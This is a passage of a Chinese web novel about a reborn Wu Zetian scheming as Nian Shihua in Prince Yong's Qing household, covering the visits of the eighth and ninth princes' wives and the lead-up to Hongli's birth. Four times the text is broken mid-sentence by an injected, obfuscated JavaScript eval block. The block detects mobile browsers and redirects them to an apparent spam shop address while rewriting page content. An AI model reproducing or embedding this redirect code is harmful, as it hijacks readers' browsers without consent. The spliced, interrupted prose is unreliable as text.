胤禛眯眼,手指不断揉捏念珠。 他又开始思考白天发生在乾清宫和御书房的事情。 “老八这一记将军着实是出乎我的预料……而十四居然……居然和他沆瀣一气,反倒是十三……即便自身处境艰难,依然全力帮我……若有一天,我一定不辜负……” 说到末尾,胤禛的声音已经低得几乎听不见。 谋士们晓得主子要静心休息,纷纷蹑手蹑脚退出。 等胤禛盘算完心事,房间里已经只剩下苏培盛为首的一干奴仆。 “戴铎他们呢?” “他们不敢打扰主子想事情,都在偏房等着呢。” 苏培盛弓腰问道:“需要招他们进屋吗?” “不必了。” 胤禛抬头,看了眼入夜后依旧暑气难消的窗外,道:“时候不早了,让他们也去歇息吧。” “嗻。” “那爷晚上是——” “让年氏来一下。” “嗻。” …… …… 武曌走进胤禛的书房,看到男人正一脸疲倦地盘腿坐着,手中捏着一串念珠。 “爷,您——” “我很困倦,很烦恼。” 胤禛招手,让武曌上前。 “你自小跟随你的父兄读书识字,翻阅史册,也算是有些见识,依你之见,历代皇帝最烦心的事情是什么?” “奴才……奴才以为……历代皇帝最忧心的事情是江山的千秋万代……” “不错,江山的千秋万代……” 胤禛捏了捏眉心:“家天下……家天下……天下自然要世世代代归于一家,但是……数千年来,又有哪个姓氏曾经……所以皇家最忧心的事情是千秋万代,皇帝最深远苦恼的事情是选谁做太子……做皇位继承人……历朝历代,莫不如此……然而本朝的情况却又格外不同……本朝……” 【以往的皇帝对儿子们大多采取泾渭分明的培养策略,太子是太子,皇子是皇子,但是康熙朝的情况却截然不同。康熙本人对废太子胤礽的过度溺爱,以及对其他儿子们的高要求培养,导致从小作为皇太子被重点培养的胤礽并不是康熙众多儿子中能力最为出类拔萃的。 偏偏康熙又特别长寿且对皇太子胤礽有极强的控制欲,父子矛盾长期积累,最终一废太子,以及九龙夺嫡……】 从天幕处获悉的内容缓缓流过心田,武曌平静地伸出双手,为烦恼的胤禛揉按太阳穴:“爷又在朝堂上遇到了糟心事?” “是啊,非常的糟心……” 胤禛眯着眼,靠在女人怀中,喃喃道: “即便被皇阿玛公开训斥,老八依然在老九的支持下和朝廷重臣往来密切,也和三教九流的人物交往,给自己打造‘八贤王’的名声。可他手下那些人做的都是些什么事! 无视皇阿玛的训诫结党营私本就是大忌讳,和他结为朋党的还都是些欺上瞒下趋炎附势之徒!山西的事情……连续几年的谎报丰收……百姓都逃亡周围做流民了!山西的人竟然还敢继续上下串通一气地瞒下去!不知道流民成灾的危险吗!” “爷……八爷和九爷他们兴许并不知道下面的人都做了些什么……” “他们……他们……” 胤禛冷笑:“他们怎么可能什么都不知道,他们是不想管也不能管,怕山西官员瞒报谎报的真相毁了‘八贤王’的清誉,怕投奔自己的官员们因为这件事不再忠诚于他们……‘八贤王’的名号成就了他,让满汉官员把他当本朝的周公,但他也被‘八贤王’的名誉所累,明知下面的人沆瀣一气结党营私,依然必须包容甚至护短……” “那爷打算这件事情——” “爷想知道你听了爷的这些话以后,心里怎么想。” 胤禛坐直身体,表情微妙地看着年世华。 他在试探她,也在衡量她,评价她的价值。 而她—— [这种时候,必须展现出足够的能力和忠诚,却又不能表现得太有能力,免得被男人觉得被她的光芒盖过。] 思量些许,武曌垂眸,缓缓道:“奴才斗胆,倘若八爷和九爷当真对下面官员做的事情是什么都知道却什么都不管,他们……他们便已经犯下欺君之罪,是对皇上的欺瞒,更是对大清的背叛……” “说下去——” “奴才不敢说。” “恕你无罪。” 胤禛顿了一下,补充道:“这里是爷的书房,不用担心隔墙有耳。” “奴才还是不敢说。” “说——” “奴才……” 武曌抬眸,眼睛如黑夜中的水潭,盈盈光波勾人心魄:“奴才以为山西的事情关系重大,即便是爷怕是也只能将爷已经查到的内容全部如实禀告皇上,请他老人家裁决。” “全部交给皇阿玛吗?” 不知不觉间,胤禛手指停了对念珠的盘弄。 [这个女人果然有些见识,没有在这种时候说煽风点火挑拨是非的话,也没有任何偏向老八或是老九的意思,而是想法和我高度一致——把事情的裁决权交皇阿玛,由皇阿玛决定谁必须死谁可以活下去,以及,让皇阿玛知道老八、老九私底下究竟捣鼓什么,对朝堂官员的渗透收买又已经到了什么地步。] “——你这个建议倒是和我原本的想法非常相似,但是我的幕僚中有人劝我将已经收集到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924615|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的证据中涉及皇家的部分当着老八、老九他们的面销毁,免得事情越闹越大,所有人都没有退路。” “奴才是个妇道人家,不敢对朝堂大事指手画脚,”武曌低调道,“方才建议爷把事情交皇上处置不过是遵循从小接受的忠君从夫教育。销毁证据之类的大事,奴才别说是建议,便是想都不敢想。” [将所有证据都当着相关人员的面公开销毁确实是目前为止的最佳处理手段。另外,具体如何销毁才能利益最大化也是一门学问。所以,这个建议决不能由我说出,也不能从他手下的任何一个谋士口中说出,必须是胤禛自己想到或在某个有大智慧的谋士的引导下想到。因为这是下属教上司做事,稍有不慎就会让上位者产生功高震主和无法驾驭的担忧。] 武曌冰冷地想着。 她自己就是靠步步为营才成功上位,比任何人都更清楚费尽心机才成功上位的人的内心弱点和因此产生的不安。 胤禛此时还没有想到那么多。 年世华的话让他心满意足。 [果然是个聪明漂亮又懂得分寸知道忠君爱国遵守三从四德的好女人,事事处处不敢有半点僭越和冒犯,配得上我。] “……朝堂的事情暂且不提,我听说你让弘时上课时有不懂的地方可以去你那边问你?” “确有此事。” “为什么?” “弘时是爷的儿子,是大清的皇孙,他的才学能力决定着雍王府的未来,奴才身为他的庶母,自然要竭尽所能地提供帮助。” “你也是我的女人,你将来也会为我生下孩子,其中可能也有小阿哥。你不担心弘时会挡你将来的孩子的路?” “这种事情是绝不可能发生的。” 武曌抬头,一脸天真纯粹:“弘时是爷的长子,本就比他的其他同父兄弟们更有可能继承爷的爵位,何况钮祜禄氏和耿氏都即将生育,我即便有幸为爷生下儿子且那孩子健健康康长大成人,怕也已经行四行五,是万万不可能和弘时产生冲突的。” 除了皇位继承,封建王朝的爵位传承通常都严格遵守立长立嫡的规矩。 所以,胤禛听了年世华的话以后,沉默许久,叹道:“你这么聪明懂事顾全大局却生作女儿身,当真可惜了。” “倘若奴才不是女儿身,又怎么可能来到爷的身边?” 武曌脱口而出。 当然,两个人身份立场都截然不同,对这句话的想法自然也完全不一样。 在胤禛耳中,年世华的这句话是彻底的纯粹的表忠心,他感到十万分的受用。 而在武曌看来—— [如果我这一世不是女人,想要得到至高无上的权力就只能学男人的手段做事,虽然也有一定的成功可能,但终究要花费更多的艰辛困苦,冒更大的风险。] “……天色不早了,奴才伺候主子歇息吧。” “好。” 胤禛起身,手掌轻抚女人的娇小脸庞:“你的脸甚至没有我的手掌大,这莫非便是汉人推崇的如弱柳扶风的纤瘦?” 22.八福晋造访 雍王府内一派其乐融融,隔壁的八贝勒府以及对面的九贝子府却因为陈四流民案即将步入尾声而心急火燎。 “八哥,我听说四哥手上不仅有山西地方官员勾结朝中大员沆瀣一气欺上瞒下的证据,甚至抓到了我们参与其中的铁证……若是四哥将这些证据全数呈给皇阿玛,本就对你我有不满的皇阿玛必定趁机发作,再次当众训斥你,为难良妃额涅……” 胤禟一个劲地鼓动胤禩。 胤禩闻言,皱眉苦笑:“你都能想到的事情,我怎么可能想不到?” “那我们——” “怎么办?若要人不知,除非己莫为,既然做了就终有一天会被知道……至于皇阿玛会借着这件事怎么处置我们……” 胤禩的眉头越皱越紧。 胤禟见状,低声道:“我或许有办法救我们出水火。” “什么办法?”胤禟问。 “山西地方官员往年送到京城各家府上的物品里有不少被转送给了太子还有十四弟……只要把这件事挑出来……就……” 说到这里,胤禟抽唇一笑:“皇阿玛经过这么多年或许已经不像当年那么喜爱皇太子,老四可不敢不在乎十四,那是他同父同母的弟弟,不是吗?” “——难怪朝野有人说老九你满肚毒水!这种手段也亏你想得出来!” 胤禩又气又喜。 胤禟却不以为然,直言道:“当年,我把地方官员给的孝敬送给他们的时候,他们知道这些东西来历不明,却笑呵呵收下。可见从始至终不是我在算计他们,是他们自己把自己困在笼子里。” “自己……把自己困在笼子里……对!你说得对极了!” 胤禩大笑,答应了胤禟的建议。 随后,两人各自回府,让妻子近期内拜访雍亲王府,通过和四福晋等人闲聊探查胤禛的想法。 “兹事体大,务必谨慎对待。” …… …… 八福晋突然来访,并和四福晋见面后立刻来到年世华处,武曌对此并无惊讶。 通过天幕,她已经知道八贝勒胤禩和九贝子胤禟在胤禛登基为皇帝后的大概遭遇,其中自然也包括八福晋的未来命运——按天幕的说法,八贝勒和八福晋是康熙诸皇子中难得的恩爱夫妻,八贝勒后期即便身陷囹圄也没有遵从皇帝的命令休妻,反倒是雍正在公布八爷党众人的罪行的诏书中将八福晋单独提出大骂一通,仿佛八贝勒是因为八福晋的挑唆才执意和自己这个兄长作对。 [承认从小和自己在景仁宫生活的老八长大后是个把野心看得比亲情更重的人有那么艰难吗?自古最是无情帝王家,生在帝王家还渴望亲情,才是真正的天真无邪!] 武曌不屑地想着,笑盈盈迎接八福晋:“八福晋姐姐,妹妹这边——” “不必客气。” 八福晋笑容微妙地看着年世华。 虽然在年氏被指婚雍亲王时她曾为丈夫鸣不平,表示年家女儿应该入八贝勒府做八贝勒的侧福晋,或是成为和八贝勒关系亲密的十四阿哥的侧福晋,但倘若年氏真的入了八贝勒府成为侧福晋—— [这等年轻漂亮有才学身后还有得力娘家的女子若真被皇阿玛赐婚给八爷做八爷的侧福晋,我这不能生养的嫡福晋岂不就……] 所以,年氏被指婚雍亲王后,她内心其实是长舒一口气。 “听说四爷府上的格格钮祜禄氏八月就要生产了?” “是啊,这几日王府里上上下下都在为这件事张罗准备呢。” 武曌请八福晋上座,亲自给她奉茶:“这钮祜禄氏也是争气,只是一次就怀了爷的骨肉。” “一次就怀上,那可真是福气。” 八福晋的笑容有些惨淡。 因为她至今没有生养,反倒是八贝勒府里的格格、使女们,个个只消一两次就能怀上八爷的骨肉,仿佛是老天爷的嘲笑。 “可不是呢?” 武曌做出天真无邪的姿态,手指轻抚小腹:“我也希望我能早日怀上爷的骨肉,可惜……” “怎么?妹妹至今都没有怀上?” 八福晋闻言,眼冒绿光,像见了荤腥的苍蝇。 武曌点头,叹道:“大夫说我身子弱,不容易怀上,即便怀上也很难保住,让我多多休养,不必急于一时。” “可如果女人生不出孩子……” 八福晋装出同情姿态:“倘若是嫡妻,即便生不出孩子,依着孝悌规矩,也自有庶出的子女孝顺奉养……但是……妹妹,你可一定要抓紧,虽然你还年轻,有很长的路可以走,可四爷他……他已是而立之年……将来……将来的事情是指不定的……” “谢八福晋关心爱护,妹妹心领了。但孩子本是天赐,又岂是我想要就一定能有?” 武曌做出泫然欲泣的姿态,楚楚可怜,惹人疼惜。 八福晋见她被自己几句话说得泪水涟涟,不由暗喜得意,道:“妹妹不必担忧,吉人自有天相,何况你看着就不是福浅之人。” “可是——” “四爷近来是不是每天晚上都来你这边?” 八福晋眼见时机成熟,开始循循诱导。 武曌装出羞涩姿态,连连点头。 八福晋道:“只要四爷晚上总是在你这边,你就比其他人更容易怀上孩子,不是吗?” “这……” “身子需要调养,男人的心更是要抓紧,毕竟,女人只有紧紧抓住男人才有将来。” “八福晋所言极是。” 武曌抬头,等待八福晋说出酝酿许久的心里话。 八福晋也算沉得住气,即便心急火燎,也还是磨磨蹭蹭铺垫了大半个时辰,终于—— “妹妹,姐姐问你一件事,你一定要如实回答。” “八福晋但说,妹妹洗耳恭听。” “你入王府数月,可知道四爷心中最想要的是什么?” “八福晋此话——” “要抓住男人的心不能只靠年轻和温柔贤淑,还需要知道他心里想要什么,以及他现在为什么事情烦恼。” 八福晋循循善诱道:“解语花永远是男人最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938925|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的女人。” “八福晋高见,妹妹受教,可惜妹妹才疏学浅,只是勉强识得几个字,稍微复杂些的圣人教诲都看不懂,又怎么能做男人的解语花?” 八福晋闻言,“噗呲”笑出声:“妹妹那等才高八斗都只算是勉强识得几个字,我们岂不个个成了睁眼瞎?” “八福晋抬举我了。” 武曌低眉顺眼,等着八福晋说出至关重要的那句话。 八福晋也确实已经憋不住。 她抓住年世华的手,轻抚手背:“四爷和八爷从小一起长在景仁宫,成年后又毗邻而居,是本朝众多阿哥中感情最深最好的,反倒是四爷同父同母的十四爷,因为自小在德妃娘娘身边长大,和四爷的感情有些生疏。” “八福晋的意思是——” “大清是满人的大清,更是爱新觉罗家的大清。” “嗯?” 武曌装傻。 八福晋见状,不得不挑明道:“寻常人家尚且知道儿子不经父亲允许擅自拿了父亲房间里的小物件至多是个无礼冒犯,打一顿骂一顿就可以,犯不上报官。何况八爷此次也被下面的人欺瞒哄骗,无辜受累,心里不知道多难受呢。” “八福晋到底在说什么?为什么妹妹竟然一个字都听不懂?” “听不懂吗?” 八福晋笑了笑,勉励地看着年世华:“你若是能在晚上把我刚才对你说的这些话一字不落地告诉四爷,他会越加认定你是他的解语花,对你加倍的宠爱喜欢。” “当真?” 武曌绽放精心联系的涉世未深的天真笑容。 八福晋满意地点了点头,鼓励道:“姐姐怎么可能骗你害你?我们之间不存在任何仇怨和厉害冲突啊。” [但是如果四爷敢阻挡八爷成为皇太子的路,雍王府上上下下所有人都是我的灭九族仇人!] [真是个深情又跋扈的女人,难怪天幕中说你死后都险些被挖出来。] 武曌淡漠地想着,露出深情姿态,感激不尽地看着八福晋:“姐姐放心,妹妹一定将姐姐方才的话如实转告四爷,不枉费姐姐一片关心。” “我也是爱你才会想着一定要帮你。” 八福晋情意绵绵。 随后,虚情假意的两人又各自说了一些甜蜜亲昵的话语,腻歪得恨不得现场义结金兰。 但到访问结束,转身出府的八福晋却立刻收敛笑容,眼中也没了笑意。 年世华啊年世华,你若不幸跌落九泉可千万不要怪我心太狠,要怪就怪你太天真太轻信又不幸被皇上指婚嫁给了四爷! 以及—— 四爷非要秉公办理陈四流民案,不肯看在同父异母的兄弟情分上放八爷、九爷他们一码! 反倒是目送八福晋等人离开的年世华始终笑容可掬,直到一行人彻底淡出视野,这才返回房间,看着八福晋送来的礼物,神情若有所思。 不多时,弘时结束今日的课业,在仆妇们的陪同下走进院子,站在门外行礼喊道:“弘时给侧福晋请安,请侧福晋指点功课。” 23.九福晋的蛊惑 胤禛回到王府已是华灯初上。 得知弘时正在年氏处求教功课,胤禛不禁皱起眉头:“弘时这孩子果然不堪大用。” “三阿哥也只是——” “只是什么!给他请两位师傅授课还嫌不够!” 胤禛越说越不开心:“李氏也是,仗着是我身边的老人,行为做事都有些无法无天了!” “侧福晋想来多半只是……” “闭嘴!” 胤禛打断苏培盛的话,气冲冲走进年世华的院子,看着正温柔和蔼地给弘时讲解西洋算术题目的年氏和一脸清澈愚蠢表情听讲的儿子,越发地气打不出一处。 “弘时——” “阿玛!” 弘时吓了一跳,战战兢兢地起身:“儿子给阿玛请安。” 武曌也起身,向胤禛行礼:“奴才给爷请安。” “你先起来。” 胤禛让年世华起身。 弘时也想站起,却被胤禛的眼神吓住,赶紧低眉顺眼地跪着。 胤禛恨铁不成钢地看着弘时,又看了眼桌上被涂改得乌七八糟的几何验算步骤,苦笑道:“我也算有几分才学,怎么就生了你这么没用的儿子!” “阿玛息怒!儿子……儿子……” “爷,三阿哥一直都很努力,他只是——” “你别替他说好话!” 胤禛打断年世华的求情,冷飕飕地瞪了弘时一眼,道:“我知道你心里此刻正在想什么!你在想,即使你既无能又无用,你依然是我眼下唯一的男丁,我没有别的选择,雍王府的其他人也没有选择。” “阿玛,儿子从来没有想过这些……” 弘时委屈得快要哭出来了。 他知道自己不够聪明,不是让阿玛满意的儿子,更本能地知道倘若他不再是阿玛唯一的儿子,他在雍王府的地位将会直线下滑,可是—— “儿子知道儿子不聪明,可是儿子也一直都在努力……努力做个让阿玛满意的儿子……请阿玛不要生气……不要在对儿子生气,儿子……” “你先回去吧。” 胤禛略有些倦怠地说道。 弘时顿时如闻大赦,赶紧起身离开,将带来的笔墨等物全部落在桌上。 看到弘时如此,胤禛的心情更加压抑。 “为什么会这么没用?为什么这么没用的人却是我唯一的儿子?” “爷,格格钮祜禄氏和耿氏都即将生下孩子,看相的说她们怀的全是小阿哥——” 苏培盛一旁贴心提醒。 精明如他也觉得弘时这样的人没有未来。 “但愿两个都能生下小阿哥……” 胤禛喃语着,接过年世华递上的茶水,喝了一口,缓缓道:“给弘时辅导功课也着实是辛苦你了。” “弘时是爷的孩子,为弘时做事就是为爷做事,怎么可能辛苦?” “你呀——” 胤禛抬手,摸了摸女人的脸颊:“性子太温柔的人可是更容易吃亏受苦的。” “为爷吃苦,苦也是甜的。” “真的?” 胤禛嘴角露出喜意。 年世华坚定地点了点头。 随后,她将八福晋来访以及八福晋托她转达的话语告诉胤禛。 得知八福晋登门造访年氏并鼓动年氏给自己吹枕头风,胤禛顿时愤怒。 嘭! 杯盏摔在地上,碎得茶水四溢。 “难怪京城传言老八家中有牝鸡司晨,如今看来竟然一丝不假!” “爷息怒!爷息怒!是奴才不好,奴才不该把八福晋的话全部如实都——” “不,你做得很好!” 胤禛阴沉地看着门外深沉的夜色:“这等心机狠毒之人,在雍王府所说的每一句话都必须记录在案!不能有丝毫遗漏!这句话不仅对你说,也对王府所有人说。” …… …… 三日后,九福晋也登门造访,带着大量的西洋舶来品。 “听说妹妹喜欢西洋人的新奇玩意,我特意从库房里挑了几件送过来,你可千万不要觉着东西便宜就不肯收。” “九爷库房的东西随便哪件都不便宜,我只担心东西太贵重,收下以后会被四爷责备。” 武曌拒绝九福晋的示好。 胤禟此人最擅长阴谋诡计,他送出去的每件东西都会让收礼的人在未来某一天付出百倍千倍的代价。 “可是这些东西并不值钱,都是——” “姐姐的好意,妹妹心领了。” 武曌再次拒绝九福晋,并把八福晋前几日登门时说的话告诉九福晋。 得知八福晋已经上门找年氏让年氏给四爷吹枕头风并且建议的吹风内容只有八爷没有九爷,九福晋心里难免再次犯嘀咕。 果然,八福晋心里只有八爷和她自己! 必须想办法离间八爷和八福晋的感情,决不能让八爷继续对八福晋言听计从,如此,九爷和我才有机会在八爷登基以后得到最大的好处。 想到此处,九福晋满脸堆笑地说道:“……八福晋果然体贴八爷,生怕四爷和八爷的感情生出疏嫌。” “可我听说如今和八爷关系最亲密的是九爷——” “八爷和九爷如今关系亲密确是不假,可和八爷从小一起长大的是四爷。” 九福晋幽幽叹道:“世上没有什么东西能比得上从小一起长大的感情,何况他们还是同父异母的兄弟。” “九福晋……” 武曌递过手帕,做出关心疼惜的姿态。 九福晋接过绢帕,假惺惺地哭泣:“……旁的不说,单是在八福晋眼里,四爷和八爷的感情就比八爷和九爷的感情更重要。哪怕我这些年始终兢兢业业地待她,她一心也只会想着八爷和四爷的感情,想不起八爷和九爷的感情。” [要不是年氏单纯说漏嘴,我到现在都蒙在鼓里,以为你们夫妻把我们夫妻当同盟朋友!如今看来,果然是我们的一厢情愿!] 自麻将那日便不断积累的九福晋对八福晋的绵绵恨意流入武曌耳中,换来女人温婉一笑:“九福晋,妹妹觉得八福晋此番言行并非瞧不上八爷和九爷的感情,是八爷和九爷的感情实在太好太好,以至于八福晋觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954956|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八爷和九爷是一家人,说话做事都忘记分出彼此。” “……” 九福晋的脸色难看得像被人塞了一个苍蝇馅料的包子。 [年氏说这些是什么意思!难不成她已经被八福晋的甜言蜜语哄骗,八福晋说什么,她都相信?] [那女人一心只想着让八爷登基当皇帝,从来没想过九爷和我们的将来!现在登基的事情八字没一撇就已经把我们夫妻当成他们夫妻的奴才,将来成功坐上金銮殿可怎么得了!没准给雍亲王府的封赏都比给我们夫妻的更多更好。] [……可恶!当初怎么就……偏偏现在已经骑虎难下,只能先想办法稳住这个看起来很单纯的家伙,让她相信四爷、八爷、九爷是一家人,有什么事情必须相互帮衬。] 想到此处,九福晋提及穆景远。 “穆先生如今可还好?” “穆先生奉命教导三阿哥异常尽责,四爷对他非常满意。” “那弘时学得如何?” 九福晋的笑容带着几分嘲讽。 众所周知,弘时能力平平,难堪大用。 武曌微笑道:“三阿哥很努力,很快就能学有所成。” “很快……也是……” 九福晋的目光落在年世华的小腹处:“你入王府也有些时日,怎么肚子还没有动静?” “这种事情……” 武曌装害羞,微微低头:“……急不得。” “可是大格格快到指婚出嫁的年纪,弘时也已经八岁,钮祜禄氏和耿氏也马上要生育,你要是不抓紧点,将来……” 九福晋抓住年世华的手:“男人心里总是装着年轻女孩,女人却不能永远都是豆蔻年华,趁着年轻得宠生下的孩子才是将来真正的依靠。” “谢九福晋教导,但是妹妹我——” “我也曾经是和你一样年轻漂亮,所以我不仅知道你现在想什么,也知道你将来会想些什么……男人就像手指缝里的水一样靠不住,必须早早为自己打算!” “可是我……我……” “总之,你要趁早把握,别等到青春耗尽后悔莫及。” 说话间,九福晋取出西洋舶来品:“这是法兰西那边最流行的香水和爱情灵药,还有这些白色的粉末。据说将这些东西按正确的步骤涂抹喷洒在脸上,就能让最铁石心肠的男人也心动情动,无法自控。” “我不能收。” 从始至终都保持冷静的武曌平静地拒绝了九福晋:“这些东西太贵重,收下以后恐怕会让四爷责备。” “你不说,我不说,九爷不说,谁会知道呢?” 九福晋试图蛊惑年世华收下礼物。 “这些都是法兰西宫廷流行的好东西,紫禁城里的娘娘们也未必能弄到……九爷费了好大的周折才从传教士手中得到几瓶……我是疼惜你才特意把这些东西送给你,你可千万不要辜负了姐姐的这份好意……” 她低下头,咬着年世华的耳朵:“我与你一见如故,希望你能早日给四爷生下阿哥,稳住在雍王府的地位,将来和我一起穿着吉服进紫禁城参加皇家宴饮……” 24.孩子出生 九福晋走后,武曌立刻把九福晋的物品原封不动全部放进库房,并在晚些时候将此事告诉胤禛。 胤禛也认为胤禟夫妻素来居心叵测,他们以私人名义送来的东西不能不收,但也决不能使用,全数封存起来,在合适的时候原物奉还,以免被胤禟夫妻攀咬。 [都是皇阿玛的儿子,为什么唯独老九满一肚子的虎狼心思,还好年氏足够聪明懂事,知道什么该收什么不该碰。] 如此想着,胤禛又将弘时叫来,当面考察他的功课。 可怜弘时的才学、能力都是平平无奇,偏偏眼下又是雍王府寄以厚望的独苗—— 很快,弘时就被问得哑口无言,目光游移,求助地看向年世华。 [救救我!救救我!快点说话帮我解围!我不想被阿玛责骂!我……我……] “爷,三阿哥已经很努力,您就暂且绕过他吧。” 武曌做出慈爱姿态。 弘时空有庶长子之名,将来无法成就大事,所以他越是无能,她越要温柔,以此博得众人对年氏的夸赞。 胤禛这边—— 他对弘时的不争气早就心知肚明,何况近来频有相术大师、风水高手、得道高僧说钮祜禄氏和耿氏将要生下聪明阿哥,对弘时的感情因此更加微妙复杂,甚至觉得弘时这么无能懦弱未尝不是一件好事。 至少…… “看你这模样,阿玛也……罢了罢了,今日的功课考问到此为止,你下去吧。” “谢阿玛!儿子马上就——” “只是今日到此为止,不代表你从此以后可以懒散度日。不管雍王府将来有多少孩子,你都是阿玛的长子,你不能懈怠,也不可以懈怠!明白吗!” “儿子明白,儿子……儿子……” 弘时被胤禛的话训得快要哭出来了,浑浑噩噩间退出房间,后背的衣服早已湿透。 …… …… 时间缓缓流动,很快就到了历史直播天幕中提到的钮祜禄氏生育弘历也就是未来的乾隆皇帝的当日。 早已透过天幕知晓未来的皇帝将要出生的嫡福晋从大清早就开始忙碌,张罗着大小事务,要求大夫、稳婆、嬷嬷们全数侯在钮祜禄氏的院子里严阵以待,奴婢们更是从早到晚地准备热水。 凤龙也从早晨开始就不断地躁动,口水滴滴答答地流个不停。 【好香~好香的味道~马上就能吃到好香的东西啦~】 [你要吃弘历?] 武曌诧异。 虽然说政治斗争通常不择手段,她前世为了成功登上权力最巅峰更是不止一次对包括亲儿子在内的所有人下狠手,但是—— [不怕出事吗?弘历可是会对历史造成重大影响的人物,他如果不能顺利出生或是才出生就死于非命,后续的历史——] 【历史是一条持续流淌的河,个人对历史而言就像河里的一滴水,一滴水再重要也不能左右河流的走向,个人的能力再强大也不能改变整个历史,除非——】 [除非什么?] 【除非历史已经走到转折点,历史本身希望被改变。】 未来态的凤龙的声音穿越时间传入武曌的耳中。 【历史进程从不存在偶然,一切都是必然,是历史的选择,是命运的选择……也是构成历史这条长河的无数水滴的选择……】 [所以弘历能否出生对历史而言并不重要?] 【对生命而言,历史是过去的记录,是未来的启发,而我来自未来又存在于过去,因此,我眼中的历史和你们眼中的历史是完全不一样的。如果有一天,你能和我一样即是过去又是未来,你就会明白你现在关于历史的担忧和不安是何等的荒唐可笑。】 [荒唐……可笑……我想我大概明白你的意思了……] 【不,你不明白,你的认知被你所处的世界束缚,只有当你完全超越并脱离这个世界,你才能真正理解我此刻所说的话……】 [理解……超越……脱离……好吧!你的话或许很有道理,但是我现在只想尽快解决眼前的问题。] 武曌对未来态凤龙的玄之又玄的神棍言论毫无兴趣。 【解决问题很简单~只要让宝宝吃掉他的气运就行~宝宝不杀生,不会导致孩子无法出生,但是宝宝会吃掉他的气运~】 凤龙天真无邪地笑着,金色的眼睛闪烁着纯粹。 …… 傍晚时分,怀胎十月的钮祜禄氏突然阵痛见红。 得知此事的嫡福晋赶紧带着府里的嬷嬷们来到钮祜禄氏处,紧张严肃地指挥着。 事实上,除同样怀胎的耿氏外,雍王府内女眷几乎全数到场,每个人脸上都写满期待和不安。 尤其是侧福晋李佳兰。 要知道,雍亲王府内迄今为止唯二存活的两个孩子都是她所生,她也因此稳坐侧福晋的位置,即便恩宠不再、儿子弘时资质平平。 倘若钮祜禄氏今日生下儿子并且那孩子健康长大—— 弘时将不再是雍亲王府的独苗! 他因为是独苗而得到的种种优待和宽宏、容忍都将不复存在。 这是何等可怕的未来! 李佳兰痛苦地想着。 自从失宠,她便把她的全部感情都寄托到弘时身上,希望弘时将来以庶长子的身份继承雍亲王爵位,可是如今—— [好恨!我真的好恨!为什么我只是稍微变老,四爷的爱就不再停留!为什么皇上要把更年轻的年世华指给四爷做侧福晋!为什么男人的爱总是转瞬即逝!为什么钮祜禄氏不得宠,却能一次就怀上四爷的孩子!甚至还可能第一胎就生下男孩!] 李佳兰越想越痛,肠子结成一团,脸色惨白得像一张纸。 乌拉那拉氏将李佳兰的痛苦看在眼里,心中莫名生出幸灾乐祸。 [昔日你得宠的时候可曾想过自己有朝一日会被比自己更加年轻漂亮又富有才情的女子取代?可曾想过后院里会出现钮祜禄氏这种不得四爷喜爱却只侍寝一次就怀上孩子并且生下未来皇帝的有福之人?李佳兰啊李佳兰,我们都是后院的失败者,但是你输得比我更惨!因为我不管怎么输都还是嫡福晋,是将来的大清皇后,而你——] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971538|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这里,乌拉那拉氏看了眼李佳兰身边的弘时。 [你的儿子将在未来犯下重大错误,被四爷过继给八爷!甚至和改名阿其那的八爷一起被开除宗籍!直到弘历登基成为皇帝才出于手足之情将姓名重新收入玉牒。] 因为弘时的未来太过惨烈,乌拉那拉氏看此刻因钮祜禄氏即将生育而惴惴不安的李佳兰的眼神也多了几分怜惜。 [都是苦命人啊……] 李佳兰不知道嫡福晋心中的跌宕起伏。 她见嫡福晋眉头紧皱、双手合十做祈祷姿态,还以为嫡福晋正在祈福哀求上天给雍亲王府再赐下一个阿哥,不禁为自己的龌龊自私想法感到惭愧,跟着手握念珠,向神佛默默祈祷钮祜禄氏平安生下孩子。 当然,生下的最好是个女孩。 李佳兰暗暗想着。 另一边,武曌也在等待。 她在等待凤龙的行动。 